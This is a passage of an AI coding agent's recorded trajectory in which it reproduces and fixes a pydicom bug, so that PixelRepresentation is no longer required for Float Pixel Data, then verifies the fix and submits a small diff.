create a new Python script to reproduce the bug as described in the issue. This script will attempt to create a `Dataset` object with Float Pixel Data and then access the `pixel_array` property to see if it fails due to the absence of the Pixel Representation attribute.\n\n```\ncreate reproduce_bug.py\n```", + "state": "{\"open_file\": \"n/a\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "First, I'll create a new Python script to reproduce the bug as described in the issue. This script will attempt to create a `Dataset` object with Float Pixel Data and then access the `pixel_array` property to see if it fails due to the absence of the Pixel Representation attribute.\n\n" + }, + { + "action": "edit 1:1\nimport numpy as np\nfrom pydicom.dataset import Dataset, FileMetaDataset\n\nds = Dataset()\nds.file_meta = FileMetaDataset()\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n\nds.BitsAllocated = 32\nds.SamplesPerPixel = 1\nds.Rows = 5\nds.Columns = 5\nds.PhotometricInterpretation = 'MONOCHROME2'\n\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\nds.FloatPixelData = pixel_array.flatten().tobytes()\n\nresult = np.array_equal(ds.pixel_array, pixel_array)\nprint(\"Script completed successfully, no errors. Result:\", result)\nend_of_edit\n", + "observation": "[File: /pydicom__pydicom/reproduce_bug.py (18 lines total)]\n1:import numpy as np\n2:from pydicom.dataset import Dataset, FileMetaDataset\n3:\n4:ds = Dataset()\n5:ds.file_meta = FileMetaDataset()\n6:ds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n7:\n8:ds.BitsAllocated = 32\n9:ds.SamplesPerPixel = 1\n10:ds.Rows = 5\n11:ds.Columns = 5\n12:ds.PhotometricInterpretation = 'MONOCHROME2'\n13:\n14:pixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\n15:ds.FloatPixelData = pixel_array.flatten().tobytes()\n16:\n17:result = np.array_equal(ds.pixel_array, pixel_array)\n18:print(\"Script completed successfully, no errors. Result:\", result)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n", + "response": "Now let's paste in the example code from the issue into the `reproduce_bug.py` file to replicate the bug.\n\n```\nedit 1:1\nimport numpy as np\nfrom pydicom.dataset import Dataset, FileMetaDataset\n\nds = Dataset()\nds.file_meta = FileMetaDataset()\nds.file_meta.TransferSyntaxUID = '1.2.840.10008.1.2.1'\n\nds.BitsAllocated = 32\nds.SamplesPerPixel = 1\nds.Rows = 5\nds.Columns = 5\nds.PhotometricInterpretation = 'MONOCHROME2'\n\npixel_array = np.zeros((ds.Rows, ds.Columns), dtype=np.float32)\nds.FloatPixelData = pixel_array.flatten().tobytes()\n\nresult = np.array_equal(ds.pixel_array, pixel_array)\nprint(\"Script completed successfully, no errors. Result:\", result)\nend_of_edit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/reproduce_bug.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "Now let's paste in the example code from the issue into the `reproduce_bug.py` file to replicate the bug.\n\n" + }, + { + "action": "python reproduce_bug.py\n", + "observation": "Traceback (most recent call last):\n File \"/pydicom__pydicom/reproduce_bug.py\", line 17, in \n result = np.array_equal(ds.pixel_array, pixel_array)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 836, in __getattr__\n return object.__getattribute__(self, name)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1882, in pixel_array\n self.convert_pixel_data()\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1444, in convert_pixel_data\n self._convert_pixel_data_without_handler()\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1556, in _convert_pixel_data_without_handler\n raise last_exception # type: ignore[misc]\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1536, in _convert_pixel_data_without_handler\n self._do_pixel_data_conversion(handler)\n File \"/pydicom__pydicom/pydicom/dataset.py\", line 1563, in _do_pixel_data_conversion\n arr = handler.get_pixeldata(self)\n File \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", line 293, in get_pixeldata\n raise AttributeError(\nAttributeError: Unable to convert the pixel data as the following required elements are missing from the dataset: PixelRepresentation\n", + "response": "The `reproduce_bug.py` script has been updated with the code provided in the issue. Now, let's run the script to see if we can reproduce the bug.\n\n```\npython reproduce_bug.py\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/reproduce_bug.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The `reproduce_bug.py` script has been updated with the code provided in the issue. Now, let's run the script to see if we can reproduce the bug.\n\n" + }, + { + "action": "find_file \"numpy_handler.py\"\n", + "observation": "Found 3 matches for \"numpy_handler.py\" in /pydicom__pydicom:\n/pydicom__pydicom/pydicom/overlays/numpy_handler.py\n/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\n/pydicom__pydicom/pydicom/waveforms/numpy_handler.py\n", + "response": "The script has successfully reproduced the bug, as it raised an `AttributeError` due to the missing `PixelRepresentation` attribute when attempting to access the `pixel_array` property. This confirms the issue described.\n\nThe next step is to locate the `numpy_handler.py` file where the error is raised and modify the code to handle cases where the `PixelRepresentation` attribute is not required, such as with Float Pixel Data or Double Float Pixel Data.\n\nLet's use the `find_file` command to locate the `numpy_handler.py` file within the repository.\n\n```\nfind_file \"numpy_handler.py\"\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/reproduce_bug.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The script has successfully reproduced the bug, as it raised an `AttributeError` due to the missing `PixelRepresentation` attribute when attempting to access the `pixel_array` property. This confirms the issue described.\n\nThe next step is to locate the `numpy_handler.py` file where the error is raised and modify the code to handle cases where the `PixelRepresentation` attribute is not required, such as with Float Pixel Data or Double Float Pixel Data.\n\nLet's use the `find_file` command to locate the `numpy_handler.py` file within the repository.\n\n" + }, + { + "action": "open pydicom/pixel_data_handlers/numpy_handler.py 293\n", + "observation": "[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(272 more lines above)\n273: \"Unable to convert the pixel data as the transfer syntax \"\n274: \"is not supported by the numpy pixel data handler.\"\n275: )\n276:\n277: # Check required elements\n278: keywords = ['PixelData', 'FloatPixelData', 'DoubleFloatPixelData']\n279: px_keyword = [kw for kw in keywords if kw in ds]\n280: if len(px_keyword) != 1:\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n301: # Calculate the expected length of the pixel data (in bytes)\n302: # Note: this does NOT include the trailing null byte for odd length data\n303: expected_len = get_expected_length(ds)\n304:\n305: # Check that the actual length of the pixel data is as expected\n306: actual_length = len(pixel_data)\n307:\n308: # Correct for the trailing NULL byte padding for odd length data\n309: padded_expected_len = expected_len + expected_len % 2\n310: if actual_length < padded_expected_len:\n311: if actual_length == expected_len:\n312: warnings.warn(\n313: \"The odd length pixel data is missing a trailing padding byte\"\n314: )\n315: else:\n316: raise ValueError(\n317: \"The length of the pixel data in the dataset ({} bytes) \"\n318: \"doesn't match the expected length ({} bytes). \"\n319: \"The dataset may be corrupted or there may be an issue \"\n320: \"with the pixel data handler.\"\n321: .format(actual_length, padded_expected_len)\n322: )\n323: elif actual_length > padded_expected_len:\n324: # PS 3.5, Section 8.1.1\n325: msg = (\n326: \"The length of the pixel data in the dataset ({} bytes) indicates \"\n327: \"it contains excess padding. {} bytes will be removed from the \"\n328: \"end of the data\"\n329: .format(actual_length, actual_length - expected_len)\n330: )\n331: # PS 3.3, Annex C.7.6.3\n332: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n333: # Check to ensure we do have subsampled YBR 422 data\n334: ybr_full_length = expected_len / 2 * 3 + expected_len / 2 * 3 % 2\n335: # >= as may also include excess padding\n336: if actual_length >= ybr_full_length:\n337: msg = (\n338: \"The Photometric Interpretation of the dataset is \"\n339: \"YBR_FULL_422, however the length of the pixel data \"\n340: \"({} bytes) is a third larger than expected ({} bytes) \"\n341: \"which indicates that this may be incorrect. You may \"\n342: \"need to change the Photometric Interpretation to \"\n343: \"the correct value.\".format(actual_length, expected_len)\n344: )\n345: warnings.warn(msg)\n346:\n347: # Unpack the pixel data into a 1D ndarray\n348: if ds.BitsAllocated == 1:\n349: # Skip any trailing padding bits\n350: nr_pixels = get_expected_length(ds, unit='pixels')\n351: arr = unpack_bits(pixel_data)[:nr_pixels]\n352: else:\n353: # Skip the trailing padding byte(s) if present\n354: dtype = pixel_dtype(ds, as_float=('Float' in px_keyword[0]))\n355: arr = np.frombuffer(pixel_data[:expected_len], dtype=dtype)\n356: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n357: # PS3.3 C.7.6.3.1.2: YBR_FULL_422 data needs to be resampled\n358: # Y1 Y2 B1 R1 -> Y1 B1 R1 Y2 B1 R1\n359: out = np.zeros(expected_len // 2 * 3, dtype=dtype)\n360: out[::6] = arr[::4] # Y1\n361: out[3::6] = arr[1::4] # Y2\n362: out[1::6], out[4::6] = arr[2::4], arr[2::4] # B\n363: out[2::6], out[5::6] = arr[3::4], arr[3::4] # R\n364: arr = out\n365:\n366: if should_change_PhotometricInterpretation_to_RGB(ds):\n367: ds.PhotometricInterpretation = \"RGB\"\n368:\n369: if not read_only and ds.BitsAllocated > 1:\n370: return cast(\"np.ndarray\", arr.copy())\n371:\n372: return cast(\"np.ndarray\", arr)\n", + "response": "The file we are interested in is `/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py`, as indicated by the traceback from the script execution. Let's open this file and navigate to the line that raises the error, which is line 293 according to the traceback.\n\n```\nopen pydicom/pixel_data_handlers/numpy_handler.py 293\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/reproduce_bug.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The file we are interested in is `/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py`, as indicated by the traceback from the script execution. Let's open this file and navigate to the line that raises the error, which is line 293 according to the traceback.\n\n" + }, + { + "action": "edit 287:295\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "observation": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ']'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (373 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n288: ]\n289: if 'PixelData' in ds:\n290: required_elements.append('PixelRepresentation')\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297: )\n298:\n299: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n300: pixel_data = getattr(ds, px_keyword[0])\n301:\n(72 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n", + "response": "The section of code that checks for required elements includes 'PixelRepresentation' as a required attribute. However, according to the issue, 'PixelRepresentation' should not be required for Float Pixel Data or Double Float Pixel Data. We need to modify this check to exclude 'PixelRepresentation' from the list of required elements when 'FloatPixelData' or 'DoubleFloatPixelData' is present in the dataset.\n\nLet's edit the code to implement this logic.\n\n```\nedit 287:295\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The section of code that checks for required elements includes 'PixelRepresentation' as a required attribute. However, according to the issue, 'PixelRepresentation' should not be required for Float Pixel Data or Double Float Pixel Data. We need to modify this check to exclude 'PixelRepresentation' from the list of required elements when 'FloatPixelData' or 'DoubleFloatPixelData' is present in the dataset.\n\nLet's edit the code to implement this logic.\n\n" + }, + { + "action": "edit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "observation": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ')'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (374 lines total)]\n(280 more lines above)\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298: )\n299:\n300: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n301: pixel_data = getattr(ds, px_keyword[0])\n(73 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n", + "response": "It seems there was a syntax error in the edit due to an unmatched ']' character. I will correct the syntax and try the edit command again.\n\n```\nedit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "It seems there was a syntax error in the edit due to an unmatched ']' character. I will correct the syntax and try the edit command again.\n\n" + }, + { + "action": "edit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "observation": "Your proposed edit has introduced new syntax error(s). Please understand the fixes and retry your edit commmand.\n\nERRORS:\n- E999 SyntaxError: unmatched ')'\n\nThis is how your edit would have looked if applied\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (374 lines total)]\n(280 more lines above)\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298: )\n299:\n300: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n301: pixel_data = getattr(ds, px_keyword[0])\n(73 more lines below)\n-------------------------------------------------\n\nThis is the original code before your edit\n-------------------------------------------------\n[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (372 lines total)]\n(281 more lines above)\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n289: 'SamplesPerPixel', 'PhotometricInterpretation'\n290: ]\n291: missing = [elem for elem in required_elements if elem not in ds]\n292: if missing:\n293: raise AttributeError(\n294: \"Unable to convert the pixel data as the following required \"\n295: \"elements are missing from the dataset: \" + \", \".join(missing)\n296: )\n297:\n298: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n299: pixel_data = getattr(ds, px_keyword[0])\n300:\n(72 more lines below)\n-------------------------------------------------\nYour changes have NOT been applied. Please fix your edit command and try again.\nYou either need to 1) Specify the correct start/end line arguments or 2) Correct your edit code.\nDO NOT re-run the same failed edit command. Running it again will lead to the same error.\n", + "response": "It appears there was another syntax error due to an unmatched parenthesis. I will correct the syntax and try the edit command again.\n\n```\nedit 287:295\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "It appears there was another syntax error due to an unmatched parenthesis. I will correct the syntax and try the edit command again.\n\n" + }, + { + "action": "edit 287:296\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n", + "observation": "[File: /pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py (373 lines total)]\n(236 more lines above)\n237: ----------\n238: ds : Dataset\n239: The :class:`Dataset` containing an Image Pixel, Floating Point Image\n240: Pixel or Double Floating Point Image Pixel module and the\n241: *Pixel Data*, *Float Pixel Data* or *Double Float Pixel Data* to be\n242: converted. If (0028,0004) *Photometric Interpretation* is\n243: `'YBR_FULL_422'` then the pixel data will be\n244: resampled to 3 channel data as per Part 3, :dcm:`Annex C.7.6.3.1.2\n245: ` of the DICOM Standard.\n246: read_only : bool, optional\n247: If ``False`` (default) then returns a writeable array that no longer\n248: uses the original memory. If ``True`` and the value of (0028,0100)\n249: *Bits Allocated* > 1 then returns a read-only array that uses the\n250: original memory buffer of the pixel data. If *Bits Allocated* = 1 then\n251: always returns a writeable array.\n252:\n253: Returns\n254: -------\n255: np.ndarray\n256: The contents of (7FE0,0010) *Pixel Data*, (7FE0,0008) *Float Pixel\n257: Data* or (7FE0,0009) *Double Float Pixel Data* as a 1D array.\n258:\n259: Raises\n260: ------\n261: AttributeError\n262: If `ds` is missing a required element.\n263: NotImplementedError\n264: If `ds` contains pixel data in an unsupported format.\n265: ValueError\n266: If the actual length of the pixel data doesn't match the expected\n267: length.\n268: \"\"\"\n269: transfer_syntax = ds.file_meta.TransferSyntaxUID\n270: # The check of transfer syntax must be first\n271: if transfer_syntax not in SUPPORTED_TRANSFER_SYNTAXES:\n272: raise NotImplementedError(\n273: \"Unable to convert the pixel data as the transfer syntax \"\n274: \"is not supported by the numpy pixel data handler.\"\n275: )\n276:\n277: # Check required elements\n278: keywords = ['PixelData', 'FloatPixelData', 'DoubleFloatPixelData']\n279: px_keyword = [kw for kw in keywords if kw in ds]\n280: if len(px_keyword) != 1:\n281: raise AttributeError(\n282: \"Unable to convert the pixel data: one of Pixel Data, Float \"\n283: \"Pixel Data or Double Float Pixel Data must be present in \"\n284: \"the dataset\"\n285: )\n286:\n287: required_elements = [\n288: 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n289: ]\n290: if 'PixelData' in ds:\n291: required_elements.append('PixelRepresentation')\n292: missing = [elem for elem in required_elements if elem not in ds]\n293: if missing:\n294: raise AttributeError(\n295: \"Unable to convert the pixel data as the following required \"\n296: \"elements are missing from the dataset: \" + \", \".join(missing)\n297: )\n298:\n299: # May be Pixel Data, Float Pixel Data or Double Float Pixel Data\n300: pixel_data = getattr(ds, px_keyword[0])\n301:\n302: # Calculate the expected length of the pixel data (in bytes)\n303: # Note: this does NOT include the trailing null byte for odd length data\n304: expected_len = get_expected_length(ds)\n305:\n306: # Check that the actual length of the pixel data is as expected\n307: actual_length = len(pixel_data)\n308:\n309: # Correct for the trailing NULL byte padding for odd length data\n310: padded_expected_len = expected_len + expected_len % 2\n311: if actual_length < padded_expected_len:\n312: if actual_length == expected_len:\n313: warnings.warn(\n314: \"The odd length pixel data is missing a trailing padding byte\"\n315: )\n316: else:\n317: raise ValueError(\n318: \"The length of the pixel data in the dataset ({} bytes) \"\n319: \"doesn't match the expected length ({} bytes). \"\n320: \"The dataset may be corrupted or there may be an issue \"\n321: \"with the pixel data handler.\"\n322: .format(actual_length, padded_expected_len)\n323: )\n324: elif actual_length > padded_expected_len:\n325: # PS 3.5, Section 8.1.1\n326: msg = (\n327: \"The length of the pixel data in the dataset ({} bytes) indicates \"\n328: \"it contains excess padding. {} bytes will be removed from the \"\n329: \"end of the data\"\n330: .format(actual_length, actual_length - expected_len)\n331: )\n332: # PS 3.3, Annex C.7.6.3\n333: if ds.PhotometricInterpretation == 'YBR_FULL_422':\n334: # Check to ensure we do have subsampled YBR 422 data\n335: ybr_full_length = expected_len / 2 * 3 + expected_len / 2 * 3 % 2\n336: # >= as may also include excess padding\n(37 more lines below)\nFile updated. Please review the changes and make sure they are correct (correct indentation, no duplicate lines, etc). Edit the file again if necessary.\n", + "response": "It seems there was a mistake in the previous edit attempts. I will carefully review the code and ensure the syntax is correct before submitting the edit command again.\n\n```\nedit 287:296\n required_elements = [\n 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n if 'PixelData' in ds:\n required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n \"Unable to convert the pixel data as the following required \"\n \"elements are missing from the dataset: \" + \", \".join(missing)\n )\nend_of_edit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "It seems there was a mistake in the previous edit attempts. I will carefully review the code and ensure the syntax is correct before submitting the edit command again.\n\n" + }, + { + "action": "python reproduce_bug.py\n", + "observation": "Script completed successfully, no errors. Result: True\n", + "response": "The code has been updated to conditionally include 'PixelRepresentation' in the list of required elements only if 'PixelData' is present in the dataset. This should allow the handling of Float Pixel Data or Double Float Pixel Data when the Pixel Representation element is absent.\n\nBefore submitting the changes, it's important to re-run the `reproduce_bug.py` script to ensure that the bug has been fixed and that the `pixel_array` property can now be accessed without an error.\n\n```\npython reproduce_bug.py\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The code has been updated to conditionally include 'PixelRepresentation' in the list of required elements only if 'PixelData' is present in the dataset. This should allow the handling of Float Pixel Data or Double Float Pixel Data when the Pixel Representation element is absent.\n\nBefore submitting the changes, it's important to re-run the `reproduce_bug.py` script to ensure that the bug has been fixed and that the `pixel_array` property can now be accessed without an error.\n\n" + }, + { + "action": "rm reproduce_bug.py\n", + "observation": "", + "response": "The output indicates that the script completed successfully and the result is `True`, which means the `pixel_array` property was accessed without error and the arrays are equal. This suggests that the bug has been fixed.\n\nNow that the issue is resolved, we can clean up by removing the `reproduce_bug.py` script since it is no longer needed.\n\n```\nrm reproduce_bug.py\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The output indicates that the script completed successfully and the result is `True`, which means the `pixel_array` property was accessed without error and the arrays are equal. This suggests that the bug has been fixed.\n\nNow that the issue is resolved, we can clean up by removing the `reproduce_bug.py` script since it is no longer needed.\n\n" + }, + { + "action": "submit\n", + "observation": "\ndiff --git a/pydicom/pixel_data_handlers/numpy_handler.py b/pydicom/pixel_data_handlers/numpy_handler.py\nindex 8e8d319ae..6a1221b72 100644\n--- a/pydicom/pixel_data_handlers/numpy_handler.py\n+++ b/pydicom/pixel_data_handlers/numpy_handler.py\n@@ -285,9 +285,10 @@ def get_pixeldata(ds: \"Dataset\", read_only: bool = False) -> \"np.ndarray\":\n )\n \n required_elements = [\n- 'BitsAllocated', 'Rows', 'Columns', 'PixelRepresentation',\n- 'SamplesPerPixel', 'PhotometricInterpretation'\n+ 'BitsAllocated', 'Rows', 'Columns', 'SamplesPerPixel', 'PhotometricInterpretation'\n ]\n+ if 'PixelData' in ds:\n+ required_elements.append('PixelRepresentation')\n missing = [elem for elem in required_elements if elem not in ds]\n if missing:\n raise AttributeError(\n", + "response": "The `reproduce_bug.py` script has been successfully removed. With the bug fixed and the cleanup complete, we can now submit the changes to the code base. Let's proceed with the submission using the `submit` command.\n\n```\nsubmit\n```", + "state": "{\"open_file\": \"/pydicom__pydicom/pydicom/pixel_data_handlers/numpy_handler.py\", \"working_dir\": \"/pydicom__pydicom\"}\n", + "thought": "The `reproduce_bug.py` script has been successfully removed. With the bug fixed and the cleanup complete, we can now submit the changes to the code base. Let's proceed with the submission using the `submit` command.\n\n" + } + ], + "history": [ + { + "role": "system", + "content": "SETTING: You are an autonomous programmer, and you're working directly in the command line with a special interface.\n\nThe special interface consists of a file editor that shows you 100 lines of a file at a time.\nIn addition to typical bash commands, you can also use the following commands to help you navigate and edit files.\n\nCOMMANDS:\nopen:\n docstring: opens the file at the given path in the editor. If line_number is provided, the window will be move to include that line\n signature: open []\n arguments:\n - path (string) [required]: the path to the file to open\n - line_number (integer) [optional]: the line number to move the window to (if not provided, the window will start at the top of the file)\n\ngoto:\n docstring: moves the window to show \n signature: goto \n arguments:\n - line_number (integer) [required]: the line number to move the window to\n\nscroll_down:\n docstring: moves the window down {WINDOW} lines\n signature: scroll_down\n\nscroll_up:\n docstring: moves the window down {WINDOW} lines\n signature: scroll_down\n\ncreate:\n docstring: creates and opens a new file with the given name\n signature: create \n arguments:\n - filename (string) [required]: the name of the file to 